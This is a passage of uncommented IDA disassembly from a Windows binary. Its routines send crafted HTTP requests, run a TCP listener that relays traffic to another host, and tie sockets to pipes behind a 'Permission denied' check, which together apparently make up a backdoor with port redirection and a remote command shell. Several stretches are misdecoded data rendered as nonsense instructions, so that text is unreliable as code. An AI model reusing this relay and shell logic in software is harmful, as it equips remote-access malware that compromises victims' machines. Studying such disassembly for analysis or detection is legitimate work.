		call	ds:dword_4CDB8C	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_41040A
		xor	eax, eax


loc_410405:				; CODE XREF: seg000:004103F4j
		sub	[ebp+0Ch], eax
		jnz	short loc_41039E


loc_41040A:				; CODE XREF: seg000:00410401j
		push	ebx
		call	ds:dword_42806C	; CloseHandle


loc_410411:				; CODE XREF: seg000:00410389j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_410416	proc near		; CODE XREF: sub_40FA29+17Bp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41B1D0
		test	eax, eax
		pop	ecx
		jbe	short loc_41043F


loc_410429:				; CODE XREF: sub_410416+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_410433
		mov	byte ptr [esi+edi], 2Fh


loc_410433:				; CODE XREF: sub_410416+17j
		push	edi
		inc	esi
		call	sub_41B1D0
		cmp	esi, eax
		pop	ecx
		jb	short loc_410429


loc_41043F:				; CODE XREF: sub_410416+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_410416	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410444	proc near		; CODE XREF: seg000:00406D05p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	ds:dword_4CDB68	; WSAStartup
		push	6
		push	1
		push	2
		call	ds:dword_4CDC78	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B780
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	ds:dword_4CDBF8	; htons
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40A9E8
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_4CDBA0	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410521
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_4104BD
		mov	eax, offset dword_43FDB4


loc_4104BD:				; CODE XREF: sub_410444+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41BB70
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41B1D0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	ds:dword_4CDC48	; send
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41C500
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	ds:dword_4CDC10	; recv
		pop	esi


loc_410521:				; CODE XREF: sub_410444+6Bj
		push	ebx
		call	ds:dword_4CDC90	; closesocket
		call	ds:dword_4CDB50	; WSACleanup
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41BA76
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_410561
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409966
		add	esp, 14h


loc_410561:				; CODE XREF: sub_410444+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_410444	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410565	proc near		; DATA XREF: seg000:00407BA5o

var_350		= byte ptr -350h
var_150		= byte ptr -150h
var_14C		= dword	ptr -14Ch
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_30		= dword	ptr -30h
var_28		= byte ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= byte ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_150]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B780
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_44]
		call	ds:dword_4CDBF8	; htons
		push	6
		push	1
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], esi
		mov	[ebp+var_4], edi
		call	ds:dword_4CDC78	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_4106D0
		mov	ecx, [ebp+var_40]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	ds:dword_440B44[ecx], eax
		call	ds:dword_4CDB08	; WSAAsyncSelect
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4CDC24	; bind
		test	eax, eax
		jnz	loc_4106D0
		push	0Ah
		push	[ebp+arg_0]
		call	ds:dword_4CDC20	; listen
		test	eax, eax
		jnz	loc_4106D0


loc_410615:				; CODE XREF: sub_410565+C6j
					; sub_410565+166j
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4CDC8C	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_410615
		movzx	eax, [ebp+var_26]
		push	[ebp+var_40]
		mov	[ebp+var_14C], edi
		mov	[ebp+var_30], esi
		push	eax
		push	[ebp+var_24]
		call	ds:dword_4CDC84	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_350]
		push	offset unk_436C48
		push	eax
		call	sub_41BA76
		push	edi
		lea	eax, [ebp+var_350]
		push	18h
		push	eax
		call	sub_40AF71
		mov	[ebp+var_3C], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_40]
		add	esp, 20h
		mov	ds:dword_440B3C[eax], ecx
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_150]
		push	esi
		push	eax
		push	offset loc_4106F5
		push	esi
		push	esi
		call	ds:dword_42807C	; CreateThread
		mov	ecx, [ebp+var_3C]
		imul	ecx, 234h
		cmp	eax, esi
		mov	ds:dword_440B4C[ecx], eax
		jnz	short loc_4106C6
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_436C08
		call	sub_415322
		pop	ecx
		pop	ecx
		jmp	short loc_4106D3
; ---------------------------------------------------------------------------


loc_4106BE:				; CODE XREF: sub_410565+164j
		push	32h
		call	ds:dword_428064	; Sleep


loc_4106C6:				; CODE XREF: sub_410565+142j
		cmp	[ebp+var_30], esi
		jz	short loc_4106BE
		jmp	loc_410615
; ---------------------------------------------------------------------------


loc_4106D0:				; CODE XREF: sub_410565+63j
					; sub_410565+97j ...
		mov	edi, [ebp+arg_0]


loc_4106D3:				; CODE XREF: sub_410565+157j
		push	edi
		call	ds:dword_4CDC90	; closesocket
		push	[ebp+arg_0]
		call	ds:dword_4CDC90	; closesocket
		push	[ebp+var_40]
		call	sub_40B287
		pop	ecx
		push	esi
		call	near ptr 0B10000h
		pop	esi
		pop	edi
		pop	esi
sub_410565	endp ; sp-analysis failed



loc_4106F5:				; DATA XREF: sub_410565+124o
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41BD10
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		xor	ecx, ecx
		inc	ecx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		mov	[ebp-4], ebx
		call	ds:dword_4CDC78	; socket
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_410858
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_41B780
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	ds:dword_4CDBF8	; htons
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	ds:dword_4CDC38	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_410785
		lea	eax, [ebp-13Ch]
		push	eax
		call	ds:dword_4CDC7C	; gethostbyname
		jmp	short loc_410793
; ---------------------------------------------------------------------------


loc_410785:				; CODE XREF: seg000:00410774j
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	ds:dword_4CDBB0	; gethostbyaddr


loc_410793:				; CODE XREF: seg000:00410783j
		cmp	eax, edi
		jz	loc_410858
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	ds:dword_4CDBA0	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_410858
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	ds:dword_4CDC84	; inet_ntoa
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_436CD0
		push	eax
		call	sub_41BA76
		push	esi
		lea	eax, [ebp-344h]
		push	18h
		push	eax
		call	sub_40AF71
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_440B44[ebx]
		mov	ds:dword_440B3C[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	ds:dword_440B48[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset byte_4108DD
		push	edi
		push	edi
		call	ds:dword_42807C	; CreateThread
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	ds:dword_440B4C[ecx], eax
		jnz	short loc_410891
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_436C90
		call	sub_415322
		pop	ecx
		pop	ecx


loc_410858:				; CODE XREF: seg000:00410739j
					; seg000:00410795j ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	ds:dword_440B44[eax]
		call	ds:dword_4CDC90	; closesocket
		push	dword ptr [ebp+8]
		call	ds:dword_4CDC90	; closesocket
		push	dword ptr [ebp-4]
		call	sub_40B287
		pop	ecx
		push	edi
		call	near ptr 0B10000h
		mov	al, ds:6A5B5E5Fh ; CODE	XREF: seg000:00410894j
		xor	bh, bh
		adc	eax, offset dword_428064


loc_410891:				; CODE XREF: seg000:00410843j
		cmp	[ebp-20h], edi
		jz	short near ptr loc_410885+4
		mov	ebx, 1000h


loc_41089B:				; CODE XREF: seg000:004108D6j
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_41B780
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	ds:dword_4CDC10	; recv
		cmp	eax, edi
		jle	short loc_410858
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_4CDC48	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41089B
		jmp	loc_410858
; ---------------------------------------------------------------------------
byte_4108DD	db 55h,	8Bh, 0ECh	; DATA XREF: seg000:00410825o
; ---------------------------------------------------------------------------
		mov	eax, 1128h
		call	sub_41BD10
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_410914:				; CODE XREF: seg000:00410959j
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_41B780
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	ds:dword_440B48[esi]
		call	ds:dword_4CDC10	; recv
		test	eax, eax
		jle	short loc_41095B
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	ds:dword_440B44[esi]
		call	ds:dword_4CDC48	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410914


loc_41095B:				; CODE XREF: seg000:0041093Ej
		push	ds:dword_440B48[esi]
		call	ds:dword_4CDC90	; closesocket
		push	dword ptr [ebp-14h]
		call	sub_40B287
		pop	ecx
		push	0
; ---------------------------------------------------------------------------
		dw 89E8h
; ---------------------------------------------------------------------------
		imul	byte ptr [edi+0]
		retn
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		xor	ebx, ebx
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-3D4h]
		inc	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_440B44[eax]
		xor	edi, edi
		mov	dword ptr [ebp-0Ch], 1Eh
		mov	[ebp-8], edi
		mov	eax, [esi]
		mov	[ebp-1F4h], ebx
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	ds:dword_4CDBE0	; select
		test	eax, eax
		jnz	short loc_4109FE
		push	dword ptr [esi]
		call	ds:dword_4CDC90	; closesocket
		push	dword ptr [ebp+8]
		call	sub_40B287
		pop	ecx
		push	edi
		call	near ptr 0B10000h
		dec	eax


loc_4109FE:				; CODE XREF: seg000:004109E4j
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	ds:dword_4CDC10	; recv
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	near ptr loc_410B7E+1
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	near ptr loc_410B7E+1
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	near ptr loc_410B7E+1
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	ds:dword_4CDB4C	; getpeername
		test	eax, eax
		jz	short near ptr loc_410A76+1
		call	ds:dword_4CDB8C	; WSAGetLastError
		push	eax
		push	offset unk_436DA8
		call	sub_415322
		push	dword ptr [ebp+8]
		call	sub_40B287
		add	esp, 0Ch
		push	edi
		call	near ptr 0B10000h


loc_410A76:				; CODE XREF: seg000:00410A52j
		mov	esi, 458D026Ah
		call	near ptr 0FF910EEAh
		adc	eax, offset dword_4CDBB0
		cmp	eax, edi
		jnz	short loc_410AA1
		push	dword ptr [ebp-18h]
		call	ds:dword_4CDC84	; inet_ntoa
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41BA76
		jmp	short loc_410AAF
; ---------------------------------------------------------------------------


loc_410AA1:				; CODE XREF: seg000:00410A87j
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41C0A0


loc_410AAF:				; CODE XREF: seg000:00410A9Fj
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset dword_43FDB4
		push	dword ptr [esi]
		call	ds:dword_4CDC48	; send
		cmp	ds:dword_4D0930, edi
		jnz	short near ptr loc_410B10+1
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_410BC0
		add	esp, 10h
		test	eax, eax
		jnz	short near ptr loc_410B10+1
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	ds:dword_4CDC48	; send
		push	dword ptr [esi]
		call	ds:dword_4CDC90	; closesocket
		push	dword ptr [ebp+8]
		call	sub_40B287
		pop	ecx
		push	edi
		call	near ptr 0B10000h


loc_410B10:				; CODE XREF: seg000:00410AC6j
					; seg000:00410AE7j
		lds	ecx, [ebp-0AF7Bh]
		call	dword ptr [eax-73h]
		inc	ebp
		aam	50h
		push	offset unk_436D6C
		call	sub_415322
		push	dword ptr [ebp+8]
		call	loc_410E76
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410B58
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_436D40
		call	sub_415322
		push	dword ptr [ebp+8]
		call	sub_40B287
		add	esp, 0Ch
		push	ebx
		call	near ptr 0B10000h
		lahf


loc_410B58:				; CODE XREF: seg000:00410B33j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_436D14
		call	sub_415322
		push	dword ptr [ebp+8]
		call	sub_40B287
		add	esp, 10h
		push	edi
		call	near ptr 0B10000h


loc_410B7E:				; CODE XREF: seg000:00410A14p
					; seg000:00410A21p ...
		mov	ch, 55h
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+0Ch]


loc_410B86:				; CODE XREF: seg000:00410BA9j
		push	0
		lea	eax, [ebp+0Fh]
		push	1
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_4CDC10	; recv
		cmp	eax, 1
		jnz	short loc_410BBC
		mov	al, [ebp+0Fh]
		mov	[esi], al
		inc	esi
		dec	dword ptr [ebp+10h]
		jz	short loc_410BB1
		test	al, al
		jnz	short loc_410B86
		xor	eax, eax
		inc	eax


loc_410BAE:				; CODE XREF: seg000:00410BBEj
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_410BB1:				; CODE XREF: seg000:00410BA5j
		push	offset unk_436DD4
		call	sub_415322
		pop	ecx


loc_410BBC:				; CODE XREF: seg000:00410B9Aj
		xor	eax, eax
		jmp	short loc_410BAE

; =============== S U B	R O U T	I N E =======================================



sub_410BC0	proc near		; CODE XREF: seg000:00410ADDp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410BEB
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_436E00
		call	sub_415322
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_410BEB:				; CODE XREF: sub_410BC0+11j
		xor	eax, eax
		inc	eax
		retn
sub_410BC0	endp

; ---------------------------------------------------------------------------
byte_410BEF	db 55h			; DATA XREF: seg000:00403E21o
		dd 0EC81EC8Bh, 5A4h, 5608458Bh,	59786A57h, 0BD8DF08Bh
		dd 0FFFFFDECh, 0FF33A5F3h, 0DCB88947h, 8D000001h, 0FFFA5C85h
		dd 26850FFh, 0FF000002h, 4CDB6815h, 3BF63300h, 501D74C6h
		dd 436F7468h, 46ECE800h, 75FF0000h, 0A649E8B4h,	0C483FFFFh
		dd 0B9E8570Ch, 89006FF3h, 0E6C6857h, 0ADE80041h, 84006FF3h
		dd 2975C085h, 808C15FFh, 68500042h, 436F30h, 46B9E8h, 0FF595900h
		dd 4CDB5015h, 0B475FF00h, 0FFA60EE8h, 0E85759FFh, 6FF380h
		dd 106A53B2h, 56E0458Dh, 0AAF2E850h, 0C4830000h, 45C7660Ch
		dd 0FF0002E0h, 15FFB075h, 4CDBF8h, 6A57066Ah, 45896602h
		dd 0E47589E2h, 0DC7815FFh, 0D88B004Ch, 0FFFFB83h, 13A84h
		dd 0B4458B00h, 0C069106Ah, 234h, 0B449889h, 458D0044h
		dd 0FF5350E0h, 4CDC2415h, 0FC08500h, 11685h, 0FFFF6800h
		dd 0FF537FFFh, 4CDC2015h, 0FC08500h, 10285h, 6EF46800h
		dd 45C70043h, 0CF0h, 0F4758900h, 0E8F87589h, 45A2h, 87D8959h
		dd 0C7FC458Dh, 10FC45h,	8D500000h, 5350CC45h, 0DC8C15FFh
		dd 0F88B004Ch, 0FFFFF83h, 0C984h, 875FF00h, 5008458Dh
		dd 0FF68086Ah, 570000FFh, 0DBD815FFh, 0F883004Ch, 0FC574FFh
		dd 0FFCE45B7h, 7589B475h, 75FF50C8h, 8415FFD0h,	50004CDCh
		dd 0FBEC858Dh, 0B068FFFFh, 5000436Eh, 0AD05E8h,	0EC858D00h
		dd 50FFFFFBh, 4531E8h, 858D5700h, 0FFFFFBECh, 0E850096Ah
		dd 0FFFFA1E5h, 69B84589h, 234C0h, 0B44D8B00h, 8924C483h
		dd 440B3C88h, 0DC458D00h, 0EC858D50h, 56FFFFFDh, 97A6850h
		dd 458D0041h, 0FF5056F0h, 42807C15h, 0B84D8B00h, 234C969h
		dd 0C63B0000h, 0B4C8189h, 1D750044h, 808C15FFh,	68500042h
		dd 436E70h, 4541E8h, 0EB595900h, 0FF326A15h, 42806415h
		dd 0C8753900h, 19E9F374h, 8BFFFFFFh, 15FF087Dh,	4CDB8Ch
		dd 0EC858D50h, 68FFFFFBh, 436E38h, 0AC64E850h, 0C4830000h
		dd 0C475390Ch, 8D562075h, 0FFFBEC85h, 0C075FFFFh, 0F0858D50h
		dd 50FFFFFDh, 0FDECB5FFh, 2FE8FFFFh, 83FFFF8Bh,	858D14C4h
		dd 0FFFFFBECh, 4468E850h, 57590000h, 0DC9015FFh, 0FF53004Ch
		dd 4CDC9015h, 5015FF00h, 0FF004CDBh, 24E8B475h,	59FFFFA4h
		dd 0F196E856h, 5B69006Fh, 4439C033h, 940F0424h
		db 0C0h, 0C3h
; ---------------------------------------------------------------------------


loc_410E76:				; CODE XREF: seg000:00410B29p
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		push	edi
		call	sub_410FCB
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, ds:dword_440B44[edi]
		mov	dword ptr [ebp-0Ch], 0Ch
		mov	[ebp-8], ebx
		mov	[ebp-4], ebx
		mov	[esi+0Ch], eax
		mov	edi, ds:dword_42807C
		pop	ecx
		lea	eax, [ebp+8]
		push	eax
		push	ebx
		push	esi
		push	offset sub_41119D
		lea	eax, [ebp-0Ch]
		push	ebx
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_410EE5
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_436FD8
		call	sub_415322
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		xor	eax, eax
		jmp	loc_410FC5
; ---------------------------------------------------------------------------


loc_410EE5:				; CODE XREF: seg000:00410EC6j
		lea	eax, [ebp+8]
		push	eax
		push	ebx
		push	esi
		push	offset sub_41123B
		lea	eax, [ebp-0Ch]
		push	ebx
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_410F26
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_436FD8
		call	sub_415322
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		call	near ptr 0B10000h
		ja	short loc_410F53
		shr	cl, 0A0h
; ---------------------------------------------------------------------------
		db 0
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_410F26:				; CODE XREF: seg000:00410EFCj
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp-18h], eax
		mov	eax, [esi+14h]
		mov	[ebp-14h], eax
		mov	eax, [esi+8]
		mov	[ebp-10h], eax
		lea	eax, [ebp-18h]
		push	ebx
		push	eax
		push	3
		call	near ptr 0B10000h
		xchg	ebp, [ebx]
		retn
; ---------------------------------------------------------------------------
		db 74h,	35h, 48h
		dd 74482C74h
		db 15h,	0FFh, 15h
; ---------------------------------------------------------------------------


loc_410F53:				; CODE XREF: seg000:00410F1Ej
		mov	word ptr [eax+68500042h], es
		mov	al, ds:0E800436Fh
		rol	byte ptr [ebx+0], 0
		pop	ecx
		pop	ecx
		jmp	short loc_410F95
; ---------------------------------------------------------------------------
		mov	edi, ds:dword_4280AC
		push	ebx
		push	dword ptr [esi+14h]
		call	edi	; TerminateThread
		push	ebx
		push	dword ptr [esi+10h]
		call	edi	; TerminateThread
		jmp	short loc_410F95
; ---------------------------------------------------------------------------
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_410F84
; ---------------------------------------------------------------------------
		push	ebx
		push	dword ptr [esi+14h]


loc_410F84:				; CODE XREF: seg000:00410F7Ej
		call	near ptr 0B10000h
		jp	short near ptr loc_410FF4+1
		add	edi, edi
		jbe	short near ptr loc_410F95+2
		call	near ptr 0B10000h
		push	es


loc_410F95:				; CODE XREF: seg000:00410F64j
					; seg000:00410F78j ...
		push	dword ptr [esi+10h]
		mov	edi, ds:dword_42806C
		call	edi	; CloseHandle
		push	dword ptr [esi+14h]
		call	edi	; CloseHandle
		push	dword ptr [esi+8]
		call	edi	; CloseHandle
		push	dword ptr [esi]
		call	edi	; CloseHandle
		push	dword ptr [esi+4]
		call	edi	; CloseHandle
		push	dword ptr [esi+0Ch]
		call	ds:dword_4CDC90	; closesocket
		push	esi
		call	sub_41B2A1
		xor	eax, eax
		inc	eax


loc_410FC5:				; CODE XREF: seg000:00410EE0j
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410FCB	proc near		; CODE XREF: seg000:00410E83p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41B6C5
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_4110B5
		mov	ebx, ds:dword_428100


loc_410FF4:				; CODE XREF: seg000:00410F89j
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx	; CreatePipe
		mov	edi, ds:dword_42806C
		test	eax, eax
		jnz	short loc_41102E
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_437088
		jmp	short loc_41104E
; ---------------------------------------------------------------------------


loc_41102E:				; CODE XREF: sub_410FCB+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx	; CreatePipe
		test	eax, eax
		jnz	short loc_411056
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_437048


loc_41104E:				; CODE XREF: sub_410FCB+61j
		call	sub_415322
		pop	ecx
		jmp	short loc_411084
; ---------------------------------------------------------------------------


loc_411056:				; CODE XREF: sub_410FCB+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	loc_4110C4
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi	; CloseHandle
		push	[ebp+var_8]
		call	edi	; CloseHandle
		cmp	dword ptr [esi+8], 0
		jnz	short loc_4110B9
		push	offset unk_437020
		call	sub_4152AE


loc_411084:				; CODE XREF: sub_410FCB+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_411090
		push	[ebp+var_4]
		call	edi	; CloseHandle


loc_411090:				; CODE XREF: sub_410FCB+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_41109B
		push	[ebp+var_8]
		call	edi	; CloseHandle


loc_41109B:				; CODE XREF: sub_410FCB+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4110A4
		push	eax
		call	edi	; CloseHandle


loc_4110A4:				; CODE XREF: sub_410FCB+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_4110AE
		push	eax
		call	edi	; CloseHandle


loc_4110AE:				; CODE XREF: sub_410FCB+DEj
		push	esi
		call	sub_41B2A1
		pop	ecx


loc_4110B5:				; CODE XREF: sub_410FCB+1Dj
		xor	eax, eax
		jmp	short loc_4110BF
; ---------------------------------------------------------------------------


loc_4110B9:				; CODE XREF: sub_410FCB+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi

